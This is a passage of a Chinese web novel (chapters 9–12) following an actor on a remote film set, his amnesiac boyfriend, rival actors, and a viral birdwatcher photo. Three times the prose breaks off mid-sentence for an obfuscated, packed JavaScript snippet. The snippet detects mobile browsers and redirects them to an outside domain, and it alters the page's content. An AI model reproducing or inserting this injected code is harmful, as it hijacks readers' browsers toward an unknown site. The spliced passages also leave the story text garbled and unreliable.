不知道是不是因为斯拉夫基因的作用,盛绍延比例夸张,坐在沙发上,脚都落在沈西辞拖鞋旁边了,屈着的长腿都还不够放,大腿处绷紧的布料下,隐约能看见隆起的肌肉线条。 沈西辞脑子转得飞快,他在卧室躺那么久不是白躺的,比如,他给昨天晚上为什么要躲进巷子里装小情侣,想到了一个完全合乎逻辑的理由。 “阿绍,我一直没告诉过你,因为开销比较大,其实我之前找人借了一笔钱。” 盛绍延想,他已经从蓝小山那里知道了,这笔钱应该是用来填他的窟窿的。 被吃软饭的男朋友吸血,钱被花完后,还去借外债,继续为男朋友的大额花销提供资金,并且,一直悄悄把这件事瞒着,是怕男朋友有心理负担,还是怕自己失去利用价值后,男朋友会直接分手离开? 不过,沈西辞确实很了解失忆前的他。 “他就是个冷心冷肺、唯利是图,眼里只看到见钱和利益的人!见死不救,连亲情都一点不在乎!” 以前好像有人这么骂过他。 见盛绍延耐心听着,沈西辞继续往下编:“这笔钱要在剧组杀青后结了片酬,我才能还上,但是债主——” 沈西辞正想说昨天晚上那两个人就是债主派过来追债的,“咚咚咚”,敲门的声音突然响起。 空气因为震动出现涟漪。 沈西辞看向门口,心念急转,警惕立刻浮了上来。 还没到交房租的时候,房东不会来,他们也没有点外卖,剧组的人如果有事,都会现在工作群里联系,或者直接打电话。 见盛绍延起身准备去开门,沈西辞马上站起来:“阿绍,我去,应该是来找我的。” 从沙发到门口只有短短一段距离,沈西辞想,如果真的是昨天晚上那两个人找上门来了,也不是不可能。 绥县地方偏远,很少会来外人,这次《山脉线》的剧组在这里驻扎,无数工作人员和大大小小的演员,送器材道具过来的人,来探班的粉丝,蹲爆点的狗仔,来来往往,才让盛绍延藏在其中,毫不扎眼。 但凡事都有万一。 握住冰凉的门把手,沈西辞眼睛靠近猫眼孔。 咦? 门打开,两个穿着蓝色格子衫的大叔站在门口,见门打开:“是你订的椅子吧?来,把单子签了。” 被折得皱巴巴的纸和一支蓝壳圆珠笔递到了沈西辞面前。 沈西辞签了字,两个大叔把椅子留在门口,“噔噔噔”下楼走了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15025606|162240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把椅子搬到客厅里,盛绍延来帮忙,一起拆掉了外面的白色保护泡沫,打磨精细的木纹表面露了出来。 “怎么突然买椅子?” 心情放松下来,沈西辞边拆边道:“你上次买的那把真皮雪茄椅不是退了吗,那把太贵,真买了我们两个就只能去睡大街了,不过,老师傅亲手刨制打磨的椅子,差不多也算私人独家定制,对吧?不过,没想到那个老师傅这么快就把椅子送过来了。” 外包装拆完,燕尾榫拼合的位置泛着暗色的光泽,凑近了,还能闻到一股木汁和桐油的气味。 沈西辞对这把椅子很满意,指挥盛绍延把椅子搬到了落地窗旁边。 窗外三角梅的颜色饱满明丽,窗棂上挂着的木雕小鸟被风吹得摇摇晃晃,沈西辞见盛绍延耐心地调整椅子的摆放位置,忍不住笑起来。 不枉费他在老师傅的院子里挑完木料挑款式,挑完款式挑用哪种榫卯结构。 盛绍延站直,看着这把完全符合他审美的椅子,沉默一瞬,问沈西辞:“这把椅子贵吗?” “你竟然会问价格了?”沈西辞惊讶,盛绍延这种单是家族信托就能供他快乐花钱几辈子的人,竟然也有一天会关心一把椅子价格贵不贵! 果然是因为自己太穷,连带着盛绍延也开始关注性价比了吗? 他解释:“绥县挨着连绵的大山,好木材遍地都是,教我吹叶子的阿婆说,以前山里的木料还是贡品,这边的木工手艺也是一绝,她给我推荐的这个老师傅,价格便宜手艺也好,所以这椅子一点都不贵,安心坐吧。” 入夜后,县城褪去白日的喧嚣,渐渐静下来,从窗外望出去,远处连绵的山脉仿佛在夜色中沉眠的鲸群。 盛绍延仰面躺在狭窄的旧沙发上,手机的亮光将他的脸照亮,这个时间,美股刚开盘不久。 第一次打开股票软件时,他就发现,他能轻易地看懂这些红绿黄紫的折线柱形代表着什么,什么时候应该空单加仓提杠杆,恒指为什么会跳低空开,是否有人在背后吸筹。 无论是A股,港股,还是美股。 这两三天里,他在脑海中模拟过很多次走势,每一次预判都被验证。 仿佛那些折线和数字都跟随着他的意志在改变,从无违背。 切到微信的界面,盛绍延点开联系人列表中唯一一个头像,手指悬在屏幕上方几秒后,打字:“我想借五千,买股票。” 卧室里的灯光从门下方的缝隙漏出来,这时候沈西辞肯定还在看剧本,那几页纸已经被磨出了毛边。 盛绍延不知道自己是不是第一次找沈西辞拿钱,也不知道沈西辞会不会再给他,毕竟,沈西辞账户余额应该只有不到一万了。 正当盛绍延思考着,想再打几句话,或者把五千降成两千块时,回复跳了出来。 沈西辞:【我在量子财富上开过户,你直接用账号密码登录就行,钱已经转进去了。】 落地窗泄进来的风里夹杂着几缕木汁和桐油混合的味道,盛绍延看着紧接着发过来的账号密码,作为吃软饭受益的那一方,他没有任何立场指责沈西辞的做法。 但,他对他,几乎有求必应。 卧室里,沈西辞正在以哑巴少年的视角在本子上写日记,这个方法是他上一世拍戏时经常用的,对代入角色很有作用。 写了两句,沈西辞总觉得自己有什么事好像忘了,拿笔顺手在页脚画了几朵野花和小鱼,正努力回想,放在旁边的手机又响起了提示音。 难道软件登录不上去? 沈西辞打开微信,看见用家里水杯的照片当头像的盛绍延,给他发来了一大串链接。 《在恋爱过程中怎么做才能防止被男友吸血》 《好的感情不应该让你变得贫穷》 《如何在一段感情里保护自己的银行卡余额》 沈西辞一脸茫然,这都什么和什么? 10. 第十个鱼钩 沈西辞有点担心,盛绍延失了忆之后,脑子怎么好像有点不太好使? 但他又不能直接问,毕竟在他现阶段的人设卡里,根本就不知道盛绍延失忆了。 他把盛绍延发过来的链接大概翻了翻,都是些随便一搜关键词,就能搜到千八百篇内容差不多的自媒体文章,一千字里九百九十字都在水字数,最后用一句“人最重要的是先爱自己”升华一下。 看起来像是大数据推送的,可能盛绍延换新手机注册了新账号,所以大数据对盛绍延的用户画像还有点偏差,再加上盛绍延脑子崭新崭新的,没读过这种,一看惊为天人,立刻给他转发分享? 想来想去,也不能打击盛绍延学习新知识的积极性,沈西辞慎重地回了一句:“好,我会认真看的。” 片场化妆间外两人合抱的大树下,盛绍延依然戴着鸭舌帽和黑色口罩,仗着身高优势,拉下一根树枝,挑着摘了些上面的树叶,摘满一把,就放进薄外套的兜帽里。 沈西辞站在化妆间门口,一想到盛绍延那崭新的脑子,不放心地多叮嘱了蓝小山一句:“到我拍的时候,多帮我照顾着阿绍一点。” 蓝小山一脸严肃,用力点了点头,大声道:“沈哥你放心!” 女一号温雅歌去找盛绍延搭话这件事,没有避着人,不少人都看见了,蓝小山也知道。他自觉责任重大,想着一定严防死守,不能让沈哥拍戏的时候,后院着火了。 不过,绍哥真是靠得住啊,他跟了不少剧组,在这个圈子里,情侣关系有多脆弱他见识过不少,但没想到,绍哥面对金钱和前程的诱惑,竟然都毫不动摇。 想到这里,蓝小山看了看帽子里兜着一大把新鲜树叶走近的盛绍延,由衷地夸道:“沈哥,你们的感情真是情比金坚!” 情比金坚可以这么用? 沈西辞只是担心片场道具器材太多,盛绍延本来就像脑子有点被磕坏了,要是头又被砸被撞,遭受二次打击,就很难办了。 不过想到蓝小山说过自己语文经常不及格,沈西辞确认:“你是不是想表达,我和阿绍感情很好?” 蓝小山猛点头:“对对对!” 沈西辞拍了拍蓝小山硬邦邦的肩膀,嗯,语文不及格是有原因的。 化妆间里,化妆师已经将要用上的工具整齐排开,用梳子顺了顺沈西辞的头发,一边问:“沈老师要咖啡提提神吗?今天不仅有咖啡,还有奶茶,两个新口味的奶茶昨天没有,我们试了试,都还挺好喝的。” 桌上摆着的咖啡奶茶包装很眼熟,沈西辞问:“许老师请客?” 化妆师笑起来:“对啊,昨天也是许老师请的下午茶,特别大方,我跟过挺多组的,这个组的咖啡奶茶甜点充裕到让我担心自己会不会离组的时候胖十斤!” 等化妆师去拿沈西辞要穿的衣服,蓝小山在旁边小声道:“哥,这两天你没在,我回剧组住的那里,等电梯的时候,听见许少爷的助理在说,沙袋那件事之后,许少爷脸色差得很,就跟嘴里含着火药似的,拿着笔在纸上写写画画,写了些什么也看不明白。 但就第二天,许少爷不知道是不是想通了,特意去跟季组长道了歉,说自己年纪小不懂事,只是恶作剧心理,他已经意识到自己错了,希望季组长能原谅他这一次,下午茶送到片场之后,还特意拿了一份给季组长送去。” 沈西辞正在看剧本,听到这里,没了看剧本的心思:“季组长是不是说,都是小事,事情过了也就算了?” 剧组就像一个小型的金字塔,阶级分明,地位高的压制着地位低的,地位低的想要好好跟完这个组拿到工资,很多时候都要忍气吞声,谄笑逢迎,否则上面的人简单一句话,就会没了这份工作。 蓝小山惊讶:“沈哥你怎么知道?季组长就是这么说的!不过,我要是季组长——” 接收到沈西辞递过来的眼神,蓝小山立刻止住话,摸摸后脑勺,“我知道的沈哥。”他虽然年纪不大,但并不是什么都不懂,“只要许少爷不闹幺蛾子,少NG几次,几条就过,能让大家早点下班,还有咖啡奶茶喝,那就是个好少爷,大家都还是会捧着他。” “人家都说了,是不懂事的恶作剧,也道歉给季组长全了面子,还花不少钱请客。”蓝小山语气闷闷的,“我只是在想,这个世界,难道就是这样的吗?” 另一边,站在男一号钟岳专用的化妆间前,许令嘉抱着剧本,耐心等着。没两分钟,门打开,钟岳的助理走出来,抱歉道:“不好意思啊许老师,钟老师正在背剧本,下一场台词很多。” 许令嘉失望地耷下眼尾,很快又笑起来:“没关系的,我知道钟老师很忙,我自己揣摩一下这个镜头到底该怎么演就好,就不麻烦钟老师了。” 助理以前也看过许令嘉小时候参加的亲子综艺,对他印象很好,这两天也没少喝送来的咖啡续命,忍不住安慰道:“你已经很厉害了,第一次拍戏就表现得很好,以后肯定会越来越厉害的!” 许令嘉露出乖巧的笑容:“谢谢姐姐,我会努力的!” 从钟岳的化妆间门口离开,许令嘉明显感觉到,不少人对他的态度都好了很多,心想,他琢磨出来的新方法确实很有用。 虽然这一个星期来,他就没两件事是顺利的,但那个沙袋确实漏了,如果没人添乱,灯光架肯定会倒,这不就再次印证了他的梦是真的,他的思路也是对的? 他就是被命运选中的那个人。 从刚获得预知梦的刺激上头和不确定中清醒过来,许令嘉忽然意识到,之前的自己做的不够隐蔽,太沉不住气,想的也太浅薄了。 这可是预知未来走向的梦啊!只要好好利用这些信息,足以让他站上比他爸妈和干妈更高的高度,甚至是娱乐圈顶端! 至于沈西辞?出身那么差,抱错的事没有曝光,没有背景,没有人脉,没有好资源,演的又是一个注定会挨骂的小角色,拿什么跟他比? 他果然是陷在了梦境的印象里,才会对沈西辞这么忌惮。 现在重要的是钟岳才对,钟岳去年刚拿了金叶奖最佳男主角,京市电影学院科班出身,很得京圈资本的青睐,按照他梦境里的发展,钟岳下一部电影《神都劫杀》,由背后的明誉影视投资,钟岳自己也投了五千万,在那一年的春节档夺下了票房第一,电影的男二也是明誉影视的艺人,此前根本没什么热度,靠着《神都劫杀》一炮而红。 走出一段距离后,确定周围不少人都注意到了这边的情况,许令嘉回头看着钟岳化妆间紧闭的门,脸上露出黯然的神色,心里却半点不担心。 现在不搭理他没关系,他有的是办法。 拍摄现场,温雅歌扮演的追缉组成员杜虞跟着沈西辞一起,走到了一处土房子前。 和村长家比起来,这个院子很小,但收拾得非常整洁,东北角放着一个干干净净的石磨,旁边还有一个石头挖空做的水缸,里面养着几条鱼。几个陶罐挨着院墙根摆放,里面插着几束已经谢了的野花。 杜虞脊背挺直,气质锋利又沉静,她大学时格斗成绩碾压同级,枪法奇准,还兼修了犯罪心理学。 这一趟是陪哑巴少年回家拿东西的,她停下脚步,问:“你家里现在就你一个人?” 哑巴少年点点头,也停下来,又指指石缸里养着的鱼。 杜虞猜测:“你是想说,那是你抓的鱼?你抓鱼的技术很厉害?” 哑巴少年没想到杜虞一下子就懂了,眼里蕴的笑意更深,几步从墙边堆放的柴火里抽出一根细长的树枝,他在院子的泥地上画了一幅简单的人像,长长的头发,很温柔的眼睛,嘴角带着笑。 杜虞跟着低头去看,问哑巴少年:“你画的是你妈妈?很漂亮。” 一下又被猜中了,哑巴少年很惊喜,他赶紧在旁边画了一个锅,期待地望着杜虞。 杜虞不确定:“你妈妈做鱼很好吃?你很喜欢吃你妈妈做的鱼?” 哑巴少年重重点了一下头,清澈的眼里笑意粼粼,耳边垂着的蓝色晶石跟着他的动作晃动,格外灵动。 杜虞看看周围,院子西边,细树枝做成的晾衣杆上,只搭着一件土布白袍,跟哑巴少年身上穿的是同一个款式。 她若无其事地收回视线,问哑巴少年:“那你妈妈去哪儿了,多久回来?听说你还有个妹妹。” 哑巴少年眼底的笑意一暗,又毫无痕迹地继续展开笑容,在地上歪歪扭扭地写了一个“等”字,还缺笔少划。 “你说你在等你妈妈和妹妹回家,对吗?” 哑巴少年看着泥地上笑容温柔的人像,目光格外柔和,他抬起头,重重颔首,又认真写下歪歪扭扭的几个简单的字——我在等,我很想她们。 “卡,”万导站在监视器后面,拍了拍手,心情很不错,“这条过了,演得很好,演员去休息,道具组过来,把现场理理。” 站到旁边等着下一场,温雅歌接过助理递过来的薄荷烟,抽了一口。 上一世,沈西辞第二次和温雅歌合作时得知,因为太容易入戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15025607|162240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出不来,温雅歌这个戏痴就想出了这个办法。 就跟开关一样,烟一抽,整个人就从角色中脱离出来。 温雅歌把自己和沈西辞刚才的表现都仔仔细细回想了一遍,没什么疏漏,又复盘:“写字之前那个神情,你为什么会这么处理?我以为你会演得更明显一点。” 演完一场戏后复盘,也是温雅歌的习惯之一,沈西辞也很适应,他跟着回忆了一遍:“镜头装不下太满的表演。大银幕会万倍地放大所有细节,脸上的,眼睛里的,全部东西都会看得很清晰,水满则溢,情绪太满,就会没了分寸。” 这是他上一世开始拍戏没多久总结出来的,他曾经无数次地对着镜子,去练习如何控制自己最细微的表情,再反复测试通过细微的表情释放出多少情绪才是刚刚好。 温雅歌惊讶地打量沈西辞:“现在的新人都是些什么怪物?” 这是她第一次真正跟沈西辞演对手戏,跟旁观的感觉完全不同,刚刚那场戏里,她完全没有任何“演”的感觉,就仿佛跟她眼神接触的,和她聊天的,让她产生好奇心和不确定的,就是哑巴少年本人。 不是那种片段式的表演和不连贯的情绪,而是直接将哑巴少年这个“人”展现了出来。 跟这种水准的演员对戏,简直身心舒畅,她原本还有心提点两句,没想到人家心里明白的不能更明白了。 “写字前那个眼神的特写,和最后看着画像时表情的特写镜头,你分寸都把握的非常好。”温雅歌说完就马上意识到,“你不要告诉我,你知道那两秒是在拍你的特写?” “我知道,对着我的那两个镜头,是50mm定焦和100mm微距。” “所以一对着你,你就开始调整表情了?”温雅歌是真的震惊了,人比人确实要气死人,她当初第一次拍戏的时候,屁都不懂一个! 她笃定道,“你在你们学校,专业课成绩肯定次次都是第一吧,你是哪个学校的?老师是谁?我看看我认不认识,怎么把你藏得这么好。” 沈西辞诚实回答:“夏京医学院,给我机会让我做科研实习的是白清远教授。” “哦,夏京医——”温雅歌指间的烟火星差点被抖没了,“医学院?你是医学院的?” 坐在不远的位置,正拿手机看股票的盛绍延抬起头,沈西辞是学医的?所以沈西辞才会说,县医院的医生没有谁缝伤口会比他缝得更好? 早晚测一遍生命体征,口罩不离身,今天早上出门之前,他还看见门口的置物篮下面压着一张血常规的检验报告单,没有异常项,检查时间是椅子送来的那个下午。 盛绍延眼中露出一抹深思,是因为学医的缘故,所以才有明显的健康焦虑吗? 温雅歌重重抽了口薄荷烟,笑着骂道:“草,这什么世道,一个学医的演技这么好,合理吗?你们学校真的没有表演系?” “真的没有,”沈西辞语气骄傲,“不过,我会用分离钳和抓钳表演剥葡萄皮不伤果肉和缝生鸡蛋内膜。” 温雅歌被他逗笑,眼风一睇:“滚滚滚,谁想看剥葡萄缝鸡蛋?” 聊着天,沈西辞心里浮起一种久违的熟悉感。 上一世,温雅歌被定为电影《偷天》的女一号后,毫无顾忌地力荐沈西辞出演《偷天》男二的角色。 当时,因为许家的原因,沈西辞能选的剧本非常少,好角色更少。最后,他抓住了这个机会,凭借男二的角色,拿到了那一年的金叶奖最佳男配角。 跟温雅歌一起吃饭时,沈西辞问过,为什么会推荐他。 那时,温雅歌夹着一支女士薄荷烟,掌根撑着蓬松的长卷发,懒散地回答:“惺惺相惜不行啊?我帮你也不为什么,只是单纯不想你被这破烂事儿埋没了。万导那部戏就能看出来,你演技非常不错,我喜欢演技好、用心演戏的人,在这个圈子里,你就该是最闪耀的那颗珍珠,最烦看见坑坑洼洼的破石子来碰瓷。” “会用什么钳子镊子剥皮也行,以后上综艺节目做宣传的时候,能拿出来震惊一下观众。”弹了弹细细的烟身,温雅歌扬扬精致的眉:“来了这个名利圈,那就别走了,你就像海滩上砂砾中的珍珠,让人一眼就能分辨出来,不该被埋没了。” 盛绍延手指快速点按,操作着将一支股票卖出,望着身着白色土布衣袍的沈西辞,目光随着瓷白耳垂下那抹晶蓝晃了晃。 这个叫温雅歌的,虽然之前跟他说话时总是没有重点,但,还算有个优点—— 眼光很不错。 11.第十一个鱼钩 天色还没黑下来,剧组就收工了,天气预报说晚上山里会下局部大雨,雨后山路不好走,副导演生怕出事,几乎是轰着把人全都赶上了车。 沈西辞坐在摩托车后座,从盛绍延衣服的帽子里挑了一片树叶,衔在唇间,抓紧时间吹几声。 一个气息没把控住,吹出来的声音太尖细,把路边枝上的鸟都惊飞了,沈西辞愣了一秒,看着小鸟飞走的残影,张张嘴:“啊,对不起!” 盛绍延现在已经能听着噪音面不改色了,看见前面路上有坑洼,他提醒:“沈西辞,扶好。” “哦,”背后传来含糊的回答,噪音停下,接着,一双手放在了他的肩上。 森林里弥漫着一股湿润的泥土气味,混着松脂和桉叶淡淡的木质调,盛绍延握着把手,身后的人凑上来:“阿绍,好像就在这段路附近,我看到过鸡血藤,阿婆前两天说她风湿犯了,想买点鸡血藤来煲汤,常来卖山货那个人最近又没出来摆摊,都买不到。” 说话时的气流拂在耳朵上,让盛绍延觉得很痒,他拉回被分散的注意力去听沈西辞说话,什么鸡血藤?盛绍延对这个名字完全陌生:“具体长什么样?” “灰褐色,长条,很长的树藤,我记得是在一个斜坡——停车停车!我看见了!”摩托车猛地刹了车,因为惯性,后座的人整个都贴到了盛绍延背上。 一触即分。 “表面有纵裂纹,五片叶子,正面深绿,背面灰绿,叶子数量是奇数,羽状。”沈西辞站在斜坡边上,见自己每说一句,盛绍延就点一下头,惊讶道,“你竟然认识鸡血藤?” 不应该啊,盛绍延什么时候有这方面的知识储备了? 盛绍延别开视线,盯着面前一丛长得都差不多的植物:“我不认识。” 沈西辞:“那你点头干什么?” 盛绍延理所当然道:“我觉得你说的挺对的,所以就点头表示赞同。” 行吧,完全靠不住。 从包里拿出家里削水果的刀,沈西辞把左手伸给盛绍延:“我下去看看,你拉一下我。” 垂眼看着伸到自己面前的手,盛绍延顿了两秒,伸手握住了。 脚踩进腐叶层里,沈西辞整个人往前倾,伸直手,找到粗细差不多的位置,拿着刀朝灰褐色的粗藤重重砍了下去。 没过多久,棕红色的汁液在断口处流了出来。 “确实是鸡血藤!” “嗯”了一声作为回应,盛绍延目光落在沈西辞的手腕上,很细的手腕,在树林逐渐暗淡的光线中,显出一抹莹白的光泽,有种白玉雕琢的脆弱感,细腻的轮廓线条往下,消失在自己的指掌之中。 触手温凉,像握着一块玉。 摩托车冲出树林,已经有雨丝随风一起扑在脸上,在他们身后,致雨云悬在山林之上,顷刻间就让整片森林罩进密集的水汽里,所有的树叶都被冲刷成反光的棱镜,整条山脉化作雨声的共振箱,声势浩大。 抱紧砍下来的鸡血藤,沈西辞单手抓着盛绍延侧腰的衣料,回头看了一眼,着急地大声催促:“阿绍,快快快!那片下雨的云要追上我们了!” 车把上的震颤感通过掌心窜向脊椎,重峦叠嶂,两侧的风景像油画布上被笔刷扫开的颜料,这一刹那间,醒来后失去记忆的惶惑和烦躁,对当前环境失去掌控的不安,累积的情绪都散在了山野。 无数山岩林树往后退去,向前的只有他们两个人,盛绍延唇角勾出浅淡的笑意,嗓音浸着一点不易察觉的柔和:“坐好别乱动,我加速了。” 一路冲回县城,摩托车停在水果摊前,沈西辞迫不及待地跳下车,大声道:“阿婆,你看我给你带了什么好东西!” 最后,沈西辞又被阿婆塞了一大把龙眼和牛油果,两只手差点没抱得住, 见阿婆还在往盛绍延衣服的帽子里兜芒果,盛绍延一脸纠结,还是把拒绝的话咽了回去,还半屈着长腿降低身高配合,沈西辞不由笑出声来,眉眼在钨丝灯泡的暖光下格外明亮。 与此同时,《山脉线》剧组的宣传大群里,宣发助理转了一条微博。 【@不失焦的迷彩大爷:印支绿鹊,没失焦!印支绿鹊,没失焦!印支绿鹊,没失焦!山神之子,没失焦!![图片九宫格]】 【今天花絮拍了吗:观鸟佬特有的神金标题,味儿太冲了吧,小深你怎么喜欢上看鸟了?那个什么绿鹊有帅哥好看?】 【小深已睡:你们要不点开看一眼?我觉得我好像眼花了……@全体成员】 几分钟后。 【小深已睡:有人看完了吗?我觉得照片里那个人好像是沈老师……】 【不想剪视频:我现在手都在抖!三月二十号发的微博,五天过去了,我们竟然才发现!】 【今天花絮拍了吗:难道重点不应该是,尼玛这条微博,转发量破二十万了!二十万!!纯自来水!睡什么睡,起来开会!】 沈西辞一路小心翼翼地捧着一大捧滚圆的龙眼爬上楼,生怕掉下去一个,进了门全抖进草编的水果篮里,才松了口气。 他正想去洗手,忽然被盛绍延叫住:“你手臂怎么了?” 胸廓处“咚”的一声,沈西辞表情没有任何变化,心脏却因为紧张多跳了半拍,他没敢抬手动作,只一动不动地站在原地,努力将语气放得很自然:“手臂?怎么了?” 盛绍延走过去,直接握住他右手手腕,将破了一条口子的白色衣袖往上拉。 一道长而浅的划伤露了出来,已经结了痂。 “你衣袖上有血,这伤应该是去割鸡血藤的时候被什么东西划伤的。” 悬空的心陡然落下去,喉间干涩,沈西辞低头看着那道伤口,不太在意:“我都没发现被划到了,现在才觉得有点痒。” 盛绍延的目光上移两寸,顿住:“那个疤是怎么回事?” 在冷白的皮肤上,太过刺眼,让他第一次忘记掩饰自己失忆这件事,不斟酌不试探,直接问了出来。 沈西辞顺着他的视线,没有多说:“有点圆的那个吗?小时候被家里人打的。” 盛绍延却执意追问:“看起来像烫伤,是吗?谁烫的?” “好像是四岁吧,在灶台旁边,那个男人随手从火堆里抽了根木块出来烫的,当时衣服贴肉上一起被烧化了,又是夏天,反复摩擦发炎,愈合得不太理想,我体质基本很少留疤的。” 说完,见盛绍延眼底愠怒,脸色很难看,沈西辞有点无奈,“不说你追着问,听了你又生气,那时候还很小,过了这么多年,再痛也记不清了。” 从储物盒里拿了瓶碘伏出来,沈西辞又拆了一包新的医用棉签,一边安慰道:“我身高长很快,后来我比他高之后,他就不敢朝我动手了,他打不过我。” 正准备用沾了碘伏的棉签给伤口消消毒,这时,放在桌上的手机响了起来,屏幕上显示“蓝小山”。 “沈哥!你火了!” 蓝小山的声音高亢地差点炸了话筒,沈西辞火速拿远,等蓝小山吼完,他才把听筒凑近:“什么我火了?” “你的一组照片上热搜了,第十五位!宣传组的人也才发现!” 一组照片?沈西辞完全没印象自己什么时候拍了一组照片,剧组里确实有驻组宣传会拍剧照花絮之类的,但蓝小山说宣传组的人也不知道:“谁拍的?” “观鸟佬!” 沈西辞:??? 蓝小山:“就是那群用迷彩服把自己裹成一根会呼吸的树枝,拿着几十上百万长焦镜头比脖子还粗的摄影设备,爬高山过草地越沼泽,就为了到处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15027327|162240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍小鸟的那群人!” 沈西辞懂了:“公园里拍鸟的那种老大爷?” 正说着,他忽然感觉手臂上一凉,别过眼,就看见那根沾了碘伏的棉签被盛绍延拿在了手里,正在给他已经半结痂的伤口消毒。 很凉,还有点痒。 这种伤口其实根本用不着消毒,因为都快愈合了,在别人眼里纯属小题大做,但盛绍延动作一丝不苟,很认真。 沈西辞发了两秒的呆,才将注意力重新放到蓝小山那边。 “那个老大爷叫‘不失焦的迷彩大爷’,粉丝只有两千多,他前几天进山里拍一个什么绿羽毛的鸟,顺便把沈哥你拍下来了,他把这组照片发到微博,炫耀他拍到了绿什么鹊,然后,这条微博被一个十几万粉的观鸟大佬转发了,后来又被一个六十多万粉的观鸟大佬转发了,”蓝小山声音都在发抖,“然后,哥,你就上热搜了!” 还能这样? 沈西辞听得有点超出认知,他竟然被观鸟大爷的一组照片带上了热搜? 上一世并没有发生过这件事。 盛绍延在一旁打开微博,热搜上排在第十五位的话题是#印支绿鹊和山神之子#。 “一开始,宣传组的人以为是那种烦人的代拍,但这大爷还真不是,他对人毫无兴趣,五十多岁,就爱在深山老林拍各种小鸟,根本看不上代拍赚的那三瓜两枣。” “他微博上还写了观鸟日记,说为了拍到印支绿鹊,穿着一身迷彩服,半夜就上了树,在树上打盹,天亮一醒,扛着镜头追着小鸟拍,没想到那只鸟往一棵树上飞,跳到了一个人身上,一看,嘿,竟然有个小兄弟也在树上!为了拍鸟,只好连人一起拍了。 他还说印支绿鹊很怕人,但竟然落在了你膝盖和手上,所以他说你是山神之子,连小鸟都不怕你。” 沈西辞想了起来,前几天日出时,拍哑巴少年和追缉组成员初遇的那场戏,他不到六点半就坐树上等着,当时确实有一只鸟飞过来,远看像棵会飞的西兰花,近看是翡翠绿,眼睛周围一笔黑色像眼罩一样从鸟嘴延伸到脖子,叫声非常黏糊,还不怕人,他就逗了逗。 盛绍延的手机屏幕里,一个介于少年与青年之间的人坐在枝叶掩映间,土布白袍自然垂下,毛色青绿的小鸟站在他屈起的膝盖上,歪着小脑袋和他对视。 下一张照片是特写,少年匀长的食指托着翡翠色的小鸟,深蓝色的袖口收束,背靠着粗糙的树干,半垂着眼,笑意温柔。 赤金色的朝阳为他的五官描摹出精致的轮廓,冷白的皮肤上仿佛晕开一层浅金。朝霞遍天,翠鸟绿叶,意趣天然,真真惊艳绝伦的美少年。 评论区里,热评第一就是——“大爷,您蹲哪棵树上拍的?把那棵树的地址给我,我连夜出发!” 盛绍延手指继续往下滑。 “——卧槽,美到我失语!真的不是AI合成吗,这张脸,鸟看了都懵圈!” “——这个衣服是哪个民族的?他穿着好好看!重点是,戴耳坠真的好美好涩,我好喜欢!” “——大家都是观鸟佬,我既拍不到漂亮的鸟,也拍不到漂亮的人,五十万的设备扛着有何用?” “——为了拍鸟,只好连人一起拍了??大爷,你眼里是真的只有鸟,这么绝一帅哥摆你镜头里,你是一眼不看啊!!” 在五花八门的评论里,盛绍延突然看到一条。 “发呆的小羊:太美了太美了,有姐妹想要把这几张照片印成小卡的吗?如果要的人多,我就去找大爷要授权,然后拉个群!” 下面已经回复了两千多条。 盛绍延把观鸟大爷发的照片一张一张存进手机里,见沈西辞还在打电话,指尖飞快点开“发呆的小羊”的头像,发了一条私信:“小卡我要十套,谢谢。” 12.第十二个鱼钩 第二天一大早,各个组的组长都在导演的休息室里开会。 美术组造型组和摄影组的人都和万山导演合作过好几次,对对方的审美偏好很清楚,说不了几句就知道今天要拍的这场戏里,万山要的是什么,应该怎么改。 正题说完,万山导演关心了两句:“老冯,腰怎么样了?” “还行吧,耽搁不了事儿,人老喽,一摄像机都能让我闪着腰。”摄影组组长老冯馒头配榨菜吃了两口,不想提这掉面子的事,说起,“观鸟佬那个热搜你们见着没?这年头不好混啊,一观鸟的,拍演员怎么比我拍的还好看?” 老季接话:“人大爷可说了,主要是拍鸟,顺便拍的人!” 万山导演戴着老花眼镜,不知道第几次点开观鸟大爷拍的那组九宫格照片。几乎每一张,无论是笑容、神采、坐姿,还是别的,都是他当初和编剧一起创作这个角色时,心中想象的哑巴少年的模样。 来回看了好几遍,万山导演沉思,问驻组宣传:“热度怎么样?” “从二十号发酵到现在,出圈是真的出圈了,昨晚热搜在十五位,今早又往上爬了三名。观鸟大爷日记里写的那句‘嘿,竟然有个小兄弟也在树上?’被很多观鸟博主引用了,他们放自己蹲树上等鸟的照片时,就会配上这句话。 